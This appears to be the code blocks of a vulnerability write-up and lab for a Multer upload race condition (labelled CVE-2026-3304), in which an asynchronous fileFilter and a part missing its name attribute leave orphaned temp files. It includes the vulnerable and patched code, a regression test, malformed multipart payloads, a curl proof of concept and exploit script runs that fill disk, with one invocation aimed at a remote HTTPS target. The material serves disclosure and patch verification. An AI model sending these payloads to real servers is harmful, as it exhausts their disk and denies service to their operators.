[Parsing event sequence — vulnerable version]

1. Part 1 header received
   → fileFilter(req, file, cb) called
   → setImmediate(cb) → callback deferred to next event loop tick

2. Part 1 body received
   → /tmp/uploads/<uuid> opened, data starts being written

3. Part 2 header received (name attribute missing)
   → Multer detects 'name missing'
   → errorOccured = true  ← error flag set
   → abortWithCode('LIMIT_FIELD_KEY') called → HTTP 500 scheduled

4. setImmediate callback fires (next event loop tick)
   → fileFilter result: includeFile = true (normal flow)
   → [BUG] errorOccured flag is NOT checked
   → storage._handleFile() called → temp file committed to disk

5. HTTP 500 response sent
   → temp file remains on disk (orphaned file)

// fileFilter completion callback (deferred via setImmediate)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured is never checked here
  //    even if an error was set while parsing Part 2, execution continues
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // temp file is registered in uploadedFiles and left on disk
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

// fileFilter completion callback (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [PATCH] Check errorOccured before proceeding
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // drain stream — no file written to disk
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})

// app/server.js — replicates the patch test's vulnerability trigger
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← defers callback, creating the race condition
      cb(null, true)
    })
  }
})

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← Part 1: valid, temp file created here
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← Part 2: name= missing!
Content-Type: application/octet-stream

x
------Boundary--

1. Part 1 arrives  →  Multer opens /tmp/uploads/<uuid> and starts writing
2. fileFilter called with setImmediate  →  callback deferred
3. Part 2 arrives  →  Multer detects missing name  →  errorOccured = true
4. setImmediate fires  →  fileFilter callback runs
5. [BUG] errorOccured not checked  →  storage._handleFile called
6. Temp file written to disk
7. HTTP 500 returned
8. /tmp/uploads/<uuid> stays on disk forever  ← orphaned file

HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

curl http://localhost:3000/status

# Start vulnerable (port 3000) + patched (port 3001) servers
docker compose up -d --build

# Verify both are running
curl http://localhost:3000/status
curl http://localhost:3001/status

bash exploit/curl_poc.sh

# Default (50 requests)
python3 exploit/exploit.py

# Heavy attack (500 requests, 5 KB payload each)
python3 exploit/exploit.py --count 500 --size 5120

# Against HTTPS target with self-signed cert
python3 exploit/exploit.py --target https://target.example.com --no-verify

# Compare against patched version
python3 exploit/exploit.py --target http://localhost:3001 --count 50

bash exploit/monitor.sh

curl -X DELETE http://localhost:3000/reset

[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

$ docker exec cve-2026-3304-target df -h /tmp/uploads

Before attack:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

After 200 requests × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

Run 1:  orphaned files   0  ->  50   (100 KB)
Run 2:  orphaned files  50  -> 100   (200 KB)
        ↑ files from run 1 still present — never cleaned up

[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

docker compose down